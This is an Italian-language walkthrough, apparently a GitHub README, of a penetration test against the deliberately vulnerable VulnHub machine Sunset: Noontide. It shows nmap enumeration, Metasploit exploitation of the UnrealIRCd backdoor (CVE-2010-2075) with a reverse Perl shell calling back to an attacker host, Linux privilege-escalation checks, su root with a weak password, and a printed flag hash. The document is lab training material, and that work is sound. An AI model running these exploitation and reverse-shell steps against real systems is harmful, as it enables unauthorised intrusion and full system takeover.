zales2004/sunset-noontide-pentestingDescrizione Valutazione professionale di penetration testing della macchina VulnHub Sunset: Noontide, che copre ricognizione, enumerazione dei servizi, sfruttamento di CVE-2010-2075, post-sfruttamento, escalation dei privilegi e compromissione completa del sistema.
Una valutazione professionale di penetration testing e walkthrough CTF di Sunset: Noontide, una macchina intenzionalmente vulnerabile di VulnHub.
Questo progetto documenta il ciclo di vita completo del penetration testing, inclusi ricognizione, enumerazione dei servizi, ricerca delle vulnerabilità, sfruttamento, accesso iniziale, post-sfruttamento, escalation dei privilegi, prova di compromissione, valutazione del rischio, mappatura MITRE ATT&CK e remediation.
⚠️ Disclaimer: Questa valutazione è stata eseguita contro una macchina intenzionalmente vulnerabile in un ambiente di laboratorio autorizzato. Le tecniche e i comandi documentati qui sono destinati esclusivamente a sistemi per i quali è stata ottenuta un'autorizzazione esplicita.
| Componente | Dettagli |
|---|---|
| Target | Sunset: Noontide |
| Piattaforma | VulnHub |
| IP Target | 10.106.186.186 |
| Hostname Target | noontide |
| OS Target | Debian GNU/Linux 10 (Buster) |
| Architettura | x86_64 |
| Piattaforma Attaccante | Kali Linux |
| IP Attaccante | 10.106.186.204 |
| Tipo di Valutazione | Valutazione di Laboratorio Autorizzata |
| Rischio Complessivo | CRITICO |
| Risultato della Valutazione | Compromissione Totale del Sistema |
Target Discovery → Enumerazione Nmap → UnrealIRCd 3.2.8.1 Identificato → SearchSploit → CVE-2010-2075 Identificato → Sfruttamento con Metasploit → Shell di Comando Remota → Shell come server → Post-Sfruttamento Linux → Credenziale Root Debole → su root → UID 0 / Accesso Root → File di Prova Utente e Root
È stata eseguita una scoperta iniziale della rete per identificare il target vulnerabile.
Il target è stato infine identificato come:
10.106.186.186
Durante la ricognizione, 10.106.186.142 è stato identificato come gateway predefinito anziché come target previsto.
Ciò evidenzia l'importanza di identificare correttamente il target prima di eseguire ulteriori test di sicurezza, in particolare in una rete di laboratorio bridged o condivisa.
È stata eseguita la rilevazione dei servizi e delle versioni con Nmap contro il target utilizzando:
nmap -sV 10.106.186.186
Il servizio esposto significativo identificato durante la valutazione è stato:
6667/tcp open irc UnrealIRCd
È stata poi eseguita una scansione più dettagliata utilizzando:
nmap -sC -sV -Pn -p 6667 10.106.186.186
Il servizio è stato identificato come:
UnrealIRCd 3.2.8.1
Il servizio IRC riportava inoltre:
irc.foonet.com
Il servizio UnrealIRCd esposto è diventato la principale superficie di attacco investigata durante la valutazione.
SearchSploit è stato utilizzato per investigare le vulnerabilità documentate pubblicamente associate alla versione di UnrealIRCd scoperta.
Comando:
searchsploit UnrealIRCd 3.2.8.1
Il risultato rilevante è stato:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
La vulnerabilità è stata identificata come:
CVE-2010-2075
UnrealIRCd 3.2.8.1 Backdoor Command Execution
Critica
Remote Command Execution
Lo sfruttamento riuscito del servizio vulnerabile consente a un attaccante di eseguire comandi in remoto sul sistema di destinazione.
Il servizio IRC vulnerabile è stato sfruttato utilizzando il Metasploit Framework.
Il modulo selezionato è stato:
exploit/unix/irc/unreal_ircd_3281_backdoor
Configurazione di esempio:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
I tentativi iniziali con il payload non hanno prodotto una sessione utilizzabile.
È stato successivamente selezionato un payload Unix reverse-Perl compatibile:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit ha riportato che il target appariva vulnerabile e ha aperto con successo una sessione di command-shell.
La shell ottenuta è stata verificata utilizzando:
whoami
Risultato:
server
Ciò ha confermato l'esecuzione riuscita di comandi in remoto come account server.
La directory di lavoro iniziale era:
/home/server/irc/Unreal3.2
A questo punto, la valutazione è passata dallo sfruttamento remoto del servizio all'enumerazione locale post-sfruttamento.
Dopo aver ottenuto la shell, è stata eseguita l'enumerazione standard di Linux per comprendere l'host compromesso e identificare potenziali percorsi di escalation dei privilegi.
Comando:
id
Risultato:
uid=1000(server) gid=1000(server)
L'account era un utente non-root.
Comando:
hostname
Risultato:
noontide
Comando:
uname -a
Risultato:
Linux noontide 4.19.0-10-amd64 x86_64
Comando:
cat /etc/os-release
Risultato:
Debian GNU/Linux 10 (buster)
Questi comandi hanno stabilito l'identità corrente, l'hostname, la versione del kernel, il sistema operativo e la configurazione generale del sistema.
Sono stati eseguiti diversi controlli standard per l'escalation dei privilegi su Linux.
Comando:
find / -perm -4000 -type f 2>/dev/null
Sono stati identificati binari SUID standard come passwd, chsh, mount, umount, su, chfn, newgrp e gpasswd.
Non è stato identificato alcun binario SUID personalizzato o anomalo evidente come vettore di escalation riuscito.
Comando:
sudo -l
Non è stato identificato alcun percorso utile di escalation dei privilegi basato su sudo dall'output disponibile.
Comandi:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
I job pianificati osservati erano job di sistema standard in stile Debian.
Non è stato identificato alcun job cron root scrivibile evidente.
Comando:
find / -writable -type f 2>/dev/null | head -100
I risultati iniziali erano principalmente pseudo-file in /proc e non hanno rivelato un vettore pratico di escalation dei privilegi.
Comando:
getcap -r / 2>/dev/null
Non è stata identificata alcuna escalation dei privilegi utile basata su capability dall'output risultante.
Il percorso di escalation dei privilegi riuscito si è basato sulle credenziali root intenzionalmente deboli configurate sulla macchina vulnerabile.
L'account root è stato accessibile utilizzando:
su root
Password:
root
L'accesso root è stato poi verificato utilizzando:
id
Risultato:
uid=0(root) gid=0(root) groups=0(root)
L'identità è stata inoltre confermata utilizzando:
whoami
Risultato:
root
Ciò ha confermato il controllo amministrativo completo del sistema di destinazione.
Il file di prova a livello utente era situato in:
/home/server/local.txt
Comando:
cat /home/server/local.txt
Risultato:
c53c08b5bf2b0801c5d0c24149826a6e
